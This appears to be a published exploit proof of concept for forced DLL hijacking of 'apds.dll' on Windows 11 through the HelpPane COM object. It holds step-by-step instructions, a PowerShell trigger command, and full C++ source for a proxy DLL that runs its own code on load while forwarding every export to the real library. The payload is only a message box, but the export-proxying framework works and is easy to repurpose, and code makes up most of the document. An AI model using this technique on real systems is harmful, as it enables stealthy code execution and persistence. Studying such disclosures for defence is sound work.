#--------------------------------------------------------- # Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced) # Date: 2023-09-01 # Author: Moein Shahabi # Vendor: https://www.microsoft.com # Version: Windows 11 Pro 10.0.22621 # Tested on: Windows 11_x64 [eng] #--------------------------------------------------------- Description: HelpPane object allows us to force Windows 11 to DLL hijacking Instructions: 1. Compile dll 2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory 3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))" 4. Boom DLL Hijacked! ------Code_Poc------- #pragma once #include // Function executed when the thread starts extern "C" __declspec(dllexport) DWORD WINAPI MessageBoxThread(LPVOID lpParam) { MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL); return 0; } PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) { #ifdef _WIN64 PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew); PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader; // Create some breathing room baseAddress = baseAddress + optionalHeader->SizeOfImage; for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) { PBYTE usuable = (PBYTE)VirtualAlloc( offset, size, MEM_RESERVE | MEM_COMMIT, protection); if (usuable) { ZeroMemory(usuable, size); // Not sure if this is required return usuable; } } #else // x86 doesn't matter where we allocate PBYTE usuable = (PBYTE)VirtualAlloc( NULL, size, MEM_RESERVE | MEM_COMMIT, protection); if (usuable) { ZeroMemory(usuable, size); return usuable; } #endif return 0; } BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase) { #ifdef _WIN64 BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax #else BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax #endif PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew); PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader; PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; if (exportDataDirectory->Size == 0) return FALSE; // Nothing to forward PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress); if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames) return FALSE; // TODO: Add support for DLLs with mixed ordinals dosHeader = (PIMAGE_DOS_HEADER)ourBase; ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew); optionalHeader = &ntHeaders->OptionalHeader; exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; if (exportDataDirectory->Size == 0) return FALSE; // Our DLL is broken PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress); // ---------------------------------- // Make current header data RW for redirections DWORD oldProtect = 0; if (!VirtualProtect( ourExportDirectory, 64, PAGE_READWRITE, &oldProtect)) { return FALSE; } DWORD totalAllocationSize = 0; // Add the size of jumps totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID)); // Add the size of function table totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT); // Add total size of names PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames); for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1; // Add size of name table totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT); // Add the size of ordinals: totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT); // Allocate usuable memory for rebuilt export data PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE); if (!exportData) return FALSE; PBYTE sideAllocation = exportData; // Used for VirtualProtect later // Copy Function Table PINT newFunctionTable = (PINT)exportData; CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT)); exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT); ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase); // Write JMPs and update RVAs in the new function table PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions); for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) { newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase); CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix)); exportData += sizeof(jmpPrefix); PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]); CopyMemory(exportData, &realAddress, sizeof(LPVOID)); exportData += sizeof(LPVOID); CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix)); exportData += sizeof(jmpSuffix); } // Copy Name RVA Table PINT newNameTable = (PINT)exportData; CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD)); exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD); ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase); // Copy names and apply delta to all the RVAs in the new name table for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) { PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]); DWORD length = (DWORD)strlen((LPCSTR)realAddress); CopyMemory(exportData, realAddress, length); newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase); exportData += length + 1; } // Copy Ordinal Table PINT newOrdinalTable = (PINT)exportData; CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT)); exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT); ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase); // Set our counts straight ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions; ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames; if (!VirtualProtect( ourExportDirectory, 64, oldProtect, &oldProtect)) { return FALSE; } if (!VirtualProtect( sideAllocation, totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect)) { return FALSE; } return TRUE; } // Executed when the DLL is loaded (traditionally or through reflective injection) BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { HMODULE realDLL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL); realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll"); if (realDLL) ProxyExports(hModule, realDLL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } --------------------------